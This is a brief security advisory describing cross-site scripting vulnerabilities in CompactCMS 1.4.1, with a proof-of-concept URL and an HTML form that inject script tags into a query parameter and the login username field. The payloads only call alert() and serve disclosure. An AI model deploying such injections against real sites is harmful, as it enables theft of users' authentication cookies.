source: https://www.securityfocus.com/bid/44949/info CompactCMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input. Attacker-supplied script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials. CompactCMS 1.4.1 is vulnerable; other versions may also be affected. http://www.example.com/?a="><script>alert("XSS");</script> <form action="http://www.example.com/lib/includes/auth.inc.php" method="post" name="main" > <input type="hidden" name="userName" value="123"><script>alert("XSS");</script>" /> <input type="hidden" name="userPass" value="123" /> <input type="submit" value="Submit" name="submit" /> </form>